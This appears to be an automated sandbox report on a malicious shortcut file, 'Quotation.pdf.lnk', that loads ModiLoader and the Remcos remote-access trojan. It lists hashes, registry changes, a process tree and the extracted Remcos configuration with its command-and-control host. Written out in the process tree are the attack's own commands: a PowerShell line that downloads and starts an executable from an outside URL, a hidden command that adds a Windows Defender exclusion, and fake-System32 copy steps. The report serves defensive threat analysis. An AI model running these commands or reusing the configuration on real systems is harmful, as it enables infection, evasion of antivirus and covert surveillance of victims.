modiloader | 9a97525c9e38f212f2d0a25c22466ae0001533c1af582c111544db9df3fd8001

Analysis

max time kernel
189s
max time network
188s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
21-02-2023 09:10

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General

Target

Quotation.pdf.lnk
Size

1006B
MD5

aa8836fa3879074748f6dca63476aba9
SHA1

783e61d2d41d5450560bb7adb3c7a641c0e8507d
SHA256

9a97525c9e38f212f2d0a25c22466ae0001533c1af582c111544db9df3fd8001
SHA512

1f7c496b8131a6f1282705be852fb91b0af693a5501f0ed934d0986969f5c165665e7d2bfe7d55947457d4c7dfb06727028fa51a7337633cfb504afb1f326017

Score

10^/10

modiloader remcos remotehost persistence rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

hallowed247.duckdns.org:9150

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
Google
mouse_option
false
mutex
Rmc-PMVOI7
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

ModiLoader Second Stage 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3740-167-0x0000000002430000-0x000000000245C000-memory.dmp	modiloader_stage2

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 3068 powershell.exe
Downloads MZ/PE file

flow	pid	process
6	3068	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

file.execmd.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 3 IoCs

Processes:

file.exeeasinvoker.exefxwvcivD.pif

pid process

3740 file.exe
4140 easinvoker.exe
4932 fxwvcivD.pif
Loads dropped DLL 1 IoCs

Processes:

easinvoker.exe

pid process

4140 easinvoker.exe

pid	process
3740	file.exe
4140	easinvoker.exe
4932	fxwvcivD.pif

pid	process
4140	easinvoker.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

file.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dvicvwxf = "C:\\Users\\Public\\Libraries\\fxwvcivD.url"	file.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

xcopy.exexcopy.exexcopy.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

Processes:

file.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings file.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1728 PING.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	file.exe

pid	process
1728	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exefile.exe

pid	process
3068	powershell.exe
3068	powershell.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe
3740	file.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

fxwvcivD.pif

pid process

4932 fxwvcivD.pif
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3068 powershell.exe
Token: SeDebugPrivilege 2472 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

AcroRd32.exe

pid process

348 AcroRd32.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

AcroRd32.exe

pid process

348 AcroRd32.exe
348 AcroRd32.exe
348 AcroRd32.exe
348 AcroRd32.exe
348 AcroRd32.exe

pid	process
4932	fxwvcivD.pif

description	pid	process
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe

pid	process
348	AcroRd32.exe

pid	process
348	AcroRd32.exe
348	AcroRd32.exe
348	AcroRd32.exe
348	AcroRd32.exe
348	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exefile.execmd.exeeasinvoker.execmd.exeAcroRd32.exeRdrCEF.exe

description	pid	process	target process
PID 808 wrote to memory of 3068	808	cmd.exe	powershell.exe
PID 808 wrote to memory of 3068	808	cmd.exe	powershell.exe
PID 808 wrote to memory of 3068	808	cmd.exe	powershell.exe
PID 3068 wrote to memory of 3740	3068	powershell.exe	file.exe
PID 3068 wrote to memory of 3740	3068	powershell.exe	file.exe
PID 3068 wrote to memory of 3740	3068	powershell.exe	file.exe
PID 3740 wrote to memory of 348	3740	file.exe	AcroRd32.exe
PID 3740 wrote to memory of 348	3740	file.exe	AcroRd32.exe
PID 3740 wrote to memory of 348	3740	file.exe	AcroRd32.exe
PID 3740 wrote to memory of 4848	3740	file.exe	cmd.exe
PID 3740 wrote to memory of 4848	3740	file.exe	cmd.exe
PID 3740 wrote to memory of 4848	3740	file.exe	cmd.exe
PID 4848 wrote to memory of 4044	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 4044	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 4044	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 1892	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 1892	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 1892	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 3732	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 3732	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 3732	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 2140	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 2140	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 2140	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 4304	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 4304	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 4304	4848	cmd.exe	cmd.exe
PID 4848 wrote to memory of 5076	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 5076	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 5076	4848	cmd.exe	xcopy.exe
PID 4848 wrote to memory of 4140	4848	cmd.exe	easinvoker.exe
PID 4848 wrote to memory of 4140	4848	cmd.exe	easinvoker.exe
PID 4140 wrote to memory of 3576	4140	easinvoker.exe	cmd.exe
PID 4140 wrote to memory of 3576	4140	easinvoker.exe	cmd.exe
PID 4848 wrote to memory of 1728	4848	cmd.exe	PING.EXE
PID 4848 wrote to memory of 1728	4848	cmd.exe	PING.EXE
PID 4848 wrote to memory of 1728	4848	cmd.exe	PING.EXE
PID 3576 wrote to memory of 2472	3576	cmd.exe	powershell.exe
PID 3576 wrote to memory of 2472	3576	cmd.exe	powershell.exe
PID 348 wrote to memory of 2208	348	AcroRd32.exe	RdrCEF.exe
PID 348 wrote to memory of 2208	348	AcroRd32.exe	RdrCEF.exe
PID 348 wrote to memory of 2208	348	AcroRd32.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe
PID 2208 wrote to memory of 3040	2208	RdrCEF.exe	RdrCEF.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Quotation.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:808

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest -Uri 'https://silverline.com.sg/new/Dvicvwxfouxvgm.exe' -OutFile $env:temp\file.exe; start $env:temp\file.exe
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3068

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3740

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Public\xuofxwvcivD.pdf"
4⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:348

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
5⤵
- Suspicious use of WriteProcessMemory
PID:2208

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=874DB2DCD48CB9244EA8349185333AE1 --mojo-platform-channel-handle=1728 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
6⤵
PID:3040

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=D3991AD85A2E7360C99780FCB4D50B0C --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=D3991AD85A2E7360C99780FCB4D50B0C --renderer-client-id=2 --mojo-platform-channel-handle=1720 --allow-no-sandbox-job /prefetch:1
6⤵
PID:4184

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=DFFC77C863A9CE79C255D94C8FA2AD7B --mojo-platform-channel-handle=2300 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
6⤵
PID:4860

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=331DCE9BAA236FA55C4CC1CF984F9B22 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=331DCE9BAA236FA55C4CC1CF984F9B22 --renderer-client-id=5 --mojo-platform-channel-handle=2412 --allow-no-sandbox-job /prefetch:1
6⤵
PID:1616

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=76B003146BD8ECB70EA1DB900F20BFED --mojo-platform-channel-handle=2552 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
6⤵
PID:1796

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=90F8E4E4E1E82F2C817B97F38258A62C --mojo-platform-channel-handle=2764 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
6⤵
PID:1020

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\DvicvwxfO.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:4848

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
5⤵
PID:4044

C:\Windows\SysWOW64\xcopy.exe
xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
5⤵
- Enumerates system info in registry
PID:1892

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
5⤵
PID:3732

C:\Windows\SysWOW64\xcopy.exe
xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
5⤵
- Enumerates system info in registry
PID:2140

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
5⤵
PID:4304

C:\Windows\SysWOW64\xcopy.exe
xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
5⤵
- Enumerates system info in registry
PID:5076

C:\Windows \System32\easinvoker.exe
"C:\Windows \System32\easinvoker.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4140

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
6⤵
- Suspicious use of WriteProcessMemory
PID:3576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2472

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 6
5⤵
- Runs ping.exe
PID:1728

C:\Users\Public\Libraries\fxwvcivD.pif
C:\Users\Public\Libraries\fxwvcivD.pif
4⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
PID:4932

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2556

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
f4827428aa911377d0795484bebefeb1

SHA1
2c71e430d31fb4715532be409ba4c8465afd0763

SHA256
22c28ec46917b661b4e73428178e9548d3a69d0b31a572afddb53cd97632165c

SHA512
10bd0cdd89f33a234696d9abac9e638c6a2b6f00492fe64514d8a7c158598c49aaee08af90e78fc8379b6bdac3196ad756a515868cdd23b532b10fc9996b01ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwq53gdn.cue.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file.exe
Filesize
854KB

MD5
b2d368435d5896419751add4cc338fc4

SHA1
73d519958f92ae9b6869b158d50e5f06e4bc4bb8

SHA256
37e6e8c41257b40d4f636227552fd2551123ada208dde4fd71ca34e8ec62cf92

SHA512
266d949ece7d12d33bd3516df27ae3eabd574d236ee3ebc20d3d77d860fcbb6e7b3bcd92977d2eba5f2a4c1b1c0c2b7e782d34576f8cf82bc2591715523fc494

Download Submit
C:\Users\Admin\AppData\Local\Temp\file.exe
Filesize
854KB

MD5
b2d368435d5896419751add4cc338fc4

SHA1
73d519958f92ae9b6869b158d50e5f06e4bc4bb8

SHA256
37e6e8c41257b40d4f636227552fd2551123ada208dde4fd71ca34e8ec62cf92

SHA512
266d949ece7d12d33bd3516df27ae3eabd574d236ee3ebc20d3d77d860fcbb6e7b3bcd92977d2eba5f2a4c1b1c0c2b7e782d34576f8cf82bc2591715523fc494

Download Submit
C:\Users\Admin\AppData\Local\Temp\file.exe
Filesize
854KB

MD5
b2d368435d5896419751add4cc338fc4

SHA1
73d519958f92ae9b6869b158d50e5f06e4bc4bb8

SHA256
37e6e8c41257b40d4f636227552fd2551123ada208dde4fd71ca34e8ec62cf92

SHA512
266d949ece7d12d33bd3516df27ae3eabd574d236ee3ebc20d3d77d860fcbb6e7b3bcd92977d2eba5f2a4c1b1c0c2b7e782d34576f8cf82bc2591715523fc494

Download Submit
C:\Users\Public\Libraries\DvicvwxfO.bat
Filesize
411B

MD5
55aba243e88f6a6813c117ffe1fa5979

SHA1
210b9b028a4b798c837a182321dbf2e50d112816

SHA256
5a11c5641c476891aa30e7ecfa57c2639f6827d8640061f73e9afec0adbbd7d2

SHA512
68009c4c9bbea75a3bfa9f79945d30957a95691ea405d031b4ca7f1cb47504bbc768fcae59173885743ad4d6cfdd2313c3fe0acb515e34e5c809ecdc7f45e307

Download Submit
C:\Users\Public\Libraries\KDECO.bat
Filesize
155B

MD5
213c60adf1c9ef88dc3c9b2d579959d2

SHA1
e4d2ad7b22b1a8b5b1f7a702b303c7364b0ee021

SHA256
37c59c8398279916cfce45f8c5e3431058248f5e3bef4d9f5c0f44a7d564f82e

SHA512
fe897d9caa306b0e761b2fd61bb5dc32a53bfaad1ce767c6860af4e3ad59c8f3257228a6e1072dab0f990cb51c59c648084ba419ac6bc5c0a99bdffa569217b7

Download Submit
C:\Users\Public\Libraries\easinvoker.exe
Filesize
128KB

MD5
231ce1e1d7d98b44371ffff407d68b59

SHA1
25510d0f6353dbf0c9f72fc880de7585e34b28ff

SHA256
30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

SHA512
520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

Download Submit
C:\Users\Public\Libraries\fxwvcivD.pif
Filesize
66KB

MD5
c116d3604ceafe7057d77ff27552c215

SHA1
452b14432fb5758b46f2897aeccd89f7c82a727d

SHA256
7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

SHA512
